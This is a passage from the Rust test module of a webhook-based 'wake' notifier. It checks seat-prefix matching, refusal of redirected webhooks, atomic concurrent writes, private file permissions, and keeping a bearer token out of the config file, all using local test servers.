955        assert_eq!(matched(&review_only, "ljosbot-reviewer"), None);
956        assert_eq!(matched(&review_only, "ljosbot-review"), None);
957        assert_eq!(
958            reaches("ljosbot-review-"),
959            "when mail reaches a seat that starts with it"
960        );
961        assert_eq!(reaches("inky"), "when mail reaches it");
962    }
963
964    fn read_http(sock: &mut std::net::TcpStream) -> String {
965        use std::io::Read;
966        sock.set_read_timeout(Some(Duration::from_secs(2))).ok();
967        let mut buf = Vec::new();
968        let mut tmp = [0u8; 1024];
969        loop {
970            let n = sock.read(&mut tmp).unwrap_or(0);
971            if n == 0 {
972                break;
973            }
974            buf.extend_from_slice(&tmp[..n]);
975            if let Some(at) = buf.windows(4).position(|w| w == b"\r\n\r\n") {
976                let headers = &buf[..at];
977                let mut need = 0usize;
978                for line in headers.split(|b| *b == b'\n') {
979                    let line = std::str::from_utf8(line).unwrap_or("").trim();
980                    if let Some(v) = line
981                        .split_once(':')
982                        .filter(|(k, _)| k.eq_ignore_ascii_case("content-length"))
983                        .map(|(_, v)| v.trim())
984                    {
985                        need = v.parse().unwrap_or(0);
986                    }
987                }
988                if buf.len().saturating_sub(at + 4) >= need {
989                    break;
990                }
991            }
992        }
993        String::from_utf8_lossy(&buf).into_owned()
994    }
995
996    fn serve_one() -> (u16, std::sync::mpsc::Receiver<String>) {
997        let listener = std::net::TcpListener::bind("127.0.0.1:0").expect("bind");
998        let port = listener.local_addr().expect("addr").port();
999        let (tx, rx) = std::sync::mpsc::channel();
1000        std::thread::spawn(move || {
1001            let Ok((mut sock, _)) = listener.accept() else {
1002                return;
1003            };
1004            let req = read_http(&mut sock);
1005            let _ = tx.send(req);
1006            let _ = std::io::Write::write_all(
1007                &mut sock,
1008                b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n",
1009            );
1010        });
1011        (port, rx)
1012    }
1013
1014    #[test]
1015    fn a_webhook_redirect_is_refused_and_not_followed() {
1016        let (_lock, _dir) = isolated();
1017        let (target_port, target_rx) = serve_one();
1018        let redirect = std::net::TcpListener::bind("127.0.0.1:0").expect("redirect bind");
1019        let redirect_port = redirect.local_addr().expect("redirect addr").port();
1020        let (first_tx, first_rx) = std::sync::mpsc::channel();
1021        std::thread::spawn(move || {
1022            let Ok((mut sock, _)) = redirect.accept() else {
1023                return;
1024            };
1025            let req = read_http(&mut sock);
1026            let _ = first_tx.send(req);
1027            let location = format!("http://127.0.0.1:{target_port}/next");
1028            let reply = format!(
1029                "HTTP/1.1 302 Found\r\nLocation: {location}\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"
1030            );
1031            let _ = std::io::Write::write_all(&mut sock, reply.as_bytes());
1032        });
1033        let hook = format!("http://127.0.0.1:{redirect_port}/hook");
1034        set_webhook("inky", &hook, None, None).expect("set webhook");
1035        let err = fire(&Event {
1036            seat: "inky".into(),
1037            from: "vm-seat".into(),
1038            msg: "m1".into(),
1039            ..Event::default()
1040        })
1041        .expect_err("redirected webhook must fail");
1042        let said = format!("{err:#}");
1043        assert!(said.contains("302"), "{said}");
1044        let first = first_rx
1045            .recv_timeout(Duration::from_secs(3))
1046            .expect("redirect request");
1047        assert!(first.starts_with("POST /hook"), "{first}");
1048        assert!(
1049            target_rx.recv_timeout(Duration::from_millis(700)).is_err(),
1050            "redirect target was called"
1051        );
1052    }
1053
1054    #[test]
1055    fn concurrent_writers_and_reader_keep_every_entry() {
1056        use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
1057        use std::sync::{Arc, Barrier};
1058
1059        let (_lock, _dir) = isolated();
1060        set_command("seed", "true", None).expect("seed");
1061        let left_payload = "a".repeat(40_000);
1062        let right_payload = "b".repeat(40_000);
1063
1064        let done = Arc::new(AtomicBool::new(false));
1065        let parse_errors = Arc::new(AtomicUsize::new(0));
1066        let done_reader = Arc::clone(&done);
1067        let parse_reader = Arc::clone(&parse_errors);
1068        let reader = std::thread::spawn(move || {
1069            while !done_reader.load(Ordering::Relaxed) {
1070                if let Ok(text) = std::fs::read_to_string(path()) {
1071                    if !text.is_empty() && toml::from_str::<BTreeMap<String, Wake>>(&text).is_err()
1072                    {
1073                        parse_reader.fetch_add(1, Ordering::Relaxed);
1074                    }
1075                }
1076                std::hint::spin_loop();
1077            }
1078        });
1079
1080        for round in 0..40 {
1081            let gate = Arc::new(Barrier::new(2));
1082            let left_gate = Arc::clone(&gate);
1083            let right_gate = Arc::clone(&gate);
1084            let left_cmd = format!("{left_payload}{round}");
1085            let right_cmd = format!("{right_payload}{round}");
1086            let left = std::thread::spawn(move || {
1087                left_gate.wait();
1088                set_command("alpha", &left_cmd, None).expect("left write");
1089            });
1090            let right = std::thread::spawn(move || {
1091                right_gate.wait();
1092                set_command("beta", &right_cmd, None).expect("right write");
1093            });
1094            left.join().expect("left join");
1095            right.join().expect("right join");
1096            let table = load_for_write().expect("table parse");
1097            assert!(
1098                table.contains_key("alpha") && table.contains_key("beta"),
1099                "lost wake entry on round {round}: {table:?}"
1100            );
1101        }
1102        done.store(true, Ordering::Relaxed);
1103        reader.join().expect("reader join");
1104        assert_eq!(
1105            parse_errors.load(Ordering::Relaxed),
1106            0,
1107            "reader saw torn writes"
1108        );
1109    }
1110
1111    fn body_of(raw: &str) -> serde_json::Value {
1112        let body = raw
1113            .split_once("\r\n\r\n")
1114            .map(|(_, body)| body)
1115            .unwrap_or(raw);
1116        serde_json::from_str(body).unwrap_or_else(|e| panic!("{e}: {raw}"))
1117    }
1118
1119    /// Hold the process environment for one wake file in a temp home.
1120    fn isolated() -> (crate::EnvLock, tempfile::TempDir) {
1121        let lock = crate::test_env_lock();
1122        let dir = tempfile::tempdir().expect("home");
1123        // SAFETY: test_env_lock holds the environment and restores it.
1124        unsafe {
1125            std::env::set_var("XDG_CONFIG_HOME", dir.path().join("config"));
1126            std::env::set_var("XDG_STATE_HOME", dir.path().join("state"));
1127        }
1128        (lock, dir)
1129    }
1130
1131    #[test]
1132    fn set_webhook_refuses_to_overwrite_a_broken_wake_toml() {
1133        let (_lock, _dir) = isolated();
1134        let wake_file = path();
1135        std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1136        let broken = "[inky\nwebhook = \"https://old.example/hook\"\n";
1137        std::fs::write(&wake_file, broken).expect("seed broken wake");
1138        let err = set_webhook("inky", "http://127.0.0.1:9/hook", None, None)
1139            .expect_err("broken wake.toml should refuse writes");
1140        let said = format!("{err:#}");
1141        assert!(said.contains("wake"), "{said}");
1142        assert!(
1143            said.contains("parse"),
1144            "the refusal should say this is a parse error: {said}"
1145        );
1146        assert_eq!(std::fs::read_to_string(&wake_file).unwrap(), broken);
1147    }
1148
1149    #[cfg(unix)]
1150    #[test]
1151    fn save_atomic_keeps_existing_mode_and_creates_private_files() {
1152        use std::os::unix::fs::PermissionsExt;
1153
1154        let (_lock, _dir) = isolated();
1155        let wake_file = path();
1156        std::fs::create_dir_all(wake_file.parent().expect("wake dir")).expect("wake dir");
1157        std::fs::write(&wake_file, "[seed]\ncommand = \"true\"\n").expect("seed wake");
1158        std::fs::set_permissions(&wake_file, std::fs::Permissions::from_mode(0o600))
1159            .expect("mode 0600 wake");
1160
1161        set_command("inky", "true", None).expect("rewrite wake");
1162        let kept = std::fs::symlink_metadata(&wake_file)
1163            .expect("wake metadata")
1164            .permissions()
1165            .mode()
1166            & 0o777;
1167        assert_eq!(kept, 0o600, "rewriting wake.toml changed its mode");
1168
1169        std::fs::remove_file(&wake_file).expect("remove wake");
1170        set_command("new", "true", None).expect("new wake");
1171        let created = std::fs::symlink_metadata(&wake_file)
1172            .expect("wake metadata")
1173            .permissions()
1174            .mode()
1175            & 0o777;
1176        assert_eq!(created, 0o600, "new wake.toml should be private");
1177    }
1178
1179    #[test]
1180    fn a_prefix_posts_the_run_seat_and_keeps_the_key_out_of_the_file() {
1181        let (_lock, _dir) = isolated();
1182        let (review_port, review_rx) = serve_one();
1183        let (broad_port, broad_rx) = serve_one();
1184        let (exact_port, exact_rx) = serve_one();
1185        let review = format!("http://127.0.0.1:{review_port}/hook");
1186        let broad = format!("http://127.0.0.1:{broad_port}/hook");
1187        let exact = format!("http://127.0.0.1:{exact_port}/hook");
1188        // SAFETY: test_env_lock holds the environment and restores it.
1189        unsafe { std::env::set_var("LJOS_WAKE_LAUNCHER_KEY", "test-token") };
1190
1191        let set = set_webhook(
1192            "ljosbot-review-",
1193            &review,
1194            None,
1195            Some("LJOS_WAKE_LAUNCHER_KEY"),
1196        )
1197        .expect("set prefix");
1198        assert!(
1199            set.contains("when mail reaches a seat that starts with it"),
1200            "{set}"
1201        );
1202        for seat in ["ljosbot-reviewer", "ljosbot-review", "ljosbot-review-"] {
1203            let missed = fire(&Event {
1204                seat: seat.into(),
1205                ..Event::default()
1206            });
1207            let err = format!("{:#}", missed.expect_err("not this prefix"));
1208            assert!(err.contains(&format!("{seat} has no wake set")), "{err}");
1209        }
1210        set_webhook("ljosbot-", &broad, None, None).expect("set broad");
1211        let own = set_webhook("ljosbot-review-abc", &exact, None, None).expect("set exact");
1212        assert!(own.ends_with("when mail reaches it\n"), "{own}");
1213        assert!(!own.contains("starts with"), "{own}");
1214
1215        let stored = std::fs::read_to_string(path()).expect("wake.toml");
1216        assert!(!stored.contains("test-token"), "{stored}");
1217        assert!(stored.contains("ljosbot-review-"), "{stored}");
1218        let loaded = load();
1219        assert_eq!(
1220            matched(&loaded, "ljosbot-review-def"),
1221            Some("ljosbot-review-")
1222        );
1223
1224        let run = Event {
1225            seat: "ljosbot-review-def".into(),
1226            from: "inky".into(),
1227            msg: "m1".into(),
1228            issue: Some("Software-d9n6".into()),
1229            interrupt: true,
1230            commit: None,
1231        };
1232        let said = fire(&run).expect("fire run");
1233        assert!(
1234            said.starts_with(
1235                "wake ljosbot-review via ljosbot-review- for ljosbot-review-def: posted, 200"
1236            ),
1237            "{said}"
1238        );
1239        let posted = review_rx
1240            .recv_timeout(Duration::from_secs(3))
1241            .expect("review hook");
1242        assert!(
1243            posted
1244                .to_ascii_lowercase()
1245                .contains("authorization: bearer test-token"),
1246            "{posted}"
1247        );
1248        let v = body_of(&posted);
1249        assert_eq!(v["seat"], "ljosbot-review-def");
1250        assert_eq!(v["from"], "inky");
1251        assert_eq!(v["msg"], "m1");
1252        assert_eq!(v["issue"], "Software-d9n6");
1253        assert_eq!(v["interrupt"], true);
1254        assert_eq!(v["read"], "LJOS_SEAT='ljosbot-review-def' ljos inbox");
1255        assert_eq!(v["via"], "ljosbot-review-");
1256        assert!(v.get("body").is_none() && v.get("text").is_none(), "{v}");
1257        assert!(broad_rx.try_recv().is_err(), "a longer prefix lost");
1258
1259        let shown = show("ljosbot-review-def");
1260        assert!(
1261            shown.contains("matches ljosbot-review-") && shown.contains(&review),
1262            "{shown}"
1263        );
1264        let log = std::fs::read_to_string(log_path()).unwrap_or_default();
1265        assert!(
1266            log.contains("ljosbot-review via ljosbot-review- for ljosbot-review-def"),
1267            "{log}"
1268        );
1269
1270        let other = fire(&Event {
1271            seat: "ljosbot-fix-9".into(),
1272            from: "inky".into(),
1273            msg: "m2".into(),
1274            ..Event::default()
1275        })
1276        .expect("fire broad");
1277        assert!(
1278            other.starts_with("wake ljosbot via ljosbot- for ljosbot-fix-9: posted, 200"),
1279            "{other}"
1280        );
1281        let posted = broad_rx
1282            .recv_timeout(Duration::from_secs(3))
1283            .expect("broad hook");
1284        assert_eq!(body_of(&posted)["seat"], "ljosbot-fix-9");
1285
1286        let own = fire(&Event {
1287            seat: "ljosbot-review-abc".into(),
1288            from: "inky".into(),
1289            msg: "m3".into(),
1290            ..Event::default()
1291        })
1292        .expect("fire exact");
1293        assert!(
1294            own.starts_with("wake ljosbot-review-abc: posted, 200"),
1295            "{own}"
1296        );
1297        let posted = exact_rx
1298            .recv_timeout(Duration::from_secs(3))
1299            .expect("exact hook");
1300        let v = body_of(&posted);
1301        assert_eq!(v["seat"], "ljosbot-review-abc");
1302        assert!(v.get("via").is_none(), "{v}");
1303        assert!(
1304            !posted.to_ascii_lowercase().contains("authorization:"),
1305            "{posted}"
1306        );
1307
1308        let missed = fire(&Event {
1309            seat: "other-1".into(),
1310            ..Event::default()
1311        });
1312        let err = format!("{:#}", missed.expect_err("other-1 has no prefix"));
1313        assert!(err.contains("other-1 has no wake set"), "{err}");
1314    }
1315
1316    #[test]
1317    fn clear_names_the_prefix_when_the_seat_has_no_own_wake() {
1318        let (_lock, _dir) = isolated();
1319        set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("set prefix");
1320        let said = clear("ljosbot-review-abc").expect("clear");
1321        assert!(
1322            said.contains("matches ljosbot-review-")
1323                && said.contains("clear ljosbot-review- to remove it"),
1324            "{said}"
1325        );
1326    }
1327
1328    #[cfg(unix)]
1329    #[test]
1330    fn a_send_starts_the_prefix_wake_for_a_run_seat() {
1331        use std::os::unix::fs::PermissionsExt;
1332        let (_lock, dir) = isolated();
1333        let marker = dir.path().join("spawn.log");
1334        let script = dir.path().join("record-wake");
1335        std::fs::write(
1336            &script,
1337            "#!/bin/sh\nprintf '%s\\n' \"$*\" >> \"$WAKE_RECORD\"\n",
1338        )
1339        .expect("script");
1340        std::fs::set_permissions(&script, std::fs::Permissions::from_mode(0o755)).expect("chmod");
1341        // SAFETY: test_env_lock holds the environment and restores it.
1342        unsafe {
1343            std::env::set_var("LJOS_WAKE_BIN", &script);
1344            std::env::set_var("WAKE_RECORD", &marker);
1345        }
1346        set_webhook("ljosbot-review-", "http://127.0.0.1:9/hook", None, None).expect("prefix");
1347        set_webhook("inky", "http://127.0.0.1:9/inky", None, None).expect("exact");
1348
1349        let event = |seat: &str| Event {
1350            seat: seat.to_string(),
1351            from: "inky".into(),
1352            msg: "m1".into(),
1353            issue: Some("Software-d9n6".into()),
1354            interrupt: false,
1355            commit: None,
1356        };
1357        let missed = spawn(&[event("ljosbot-reviewer"), event("ljosbot")]);
1358        assert!(missed.is_empty(), "{missed:?}");
1359        let woken = spawn(&[event("ljosbot-review-abc"), event("inky")]);
1360        assert_eq!(
1361            woken,
1362            vec![
1363                "ljosbot-review via ljosbot-review- for ljosbot-review-abc".to_string(),
1364                "inky".to_string()
1365            ]
1366        );
1367
1368        let started = Instant::now();
1369        let wrote = loop {
1370            if let Ok(text) = std::fs::read_to_string(&marker) {
1371                if text.lines().count() >= 2 {
1372                    break text;
1373                }
1374            }
1375            assert!(
1376                started.elapsed() < Duration::from_secs(3),
1377                "the wake did not start"
1378            );
1379            std::thread::sleep(Duration::from_millis(20));
1380        };
1381        assert!(wrote.contains("wake ljosbot-review-abc --fire"), "{wrote}");
1382        assert!(wrote.contains("wake inky --fire"), "{wrote}");
1383        assert!(!wrote.contains("ljosbot-reviewer"), "{wrote}");
1384        assert!(!wrote.contains("wake ljosbot --fire"), "{wrote}");
1385    }
1386}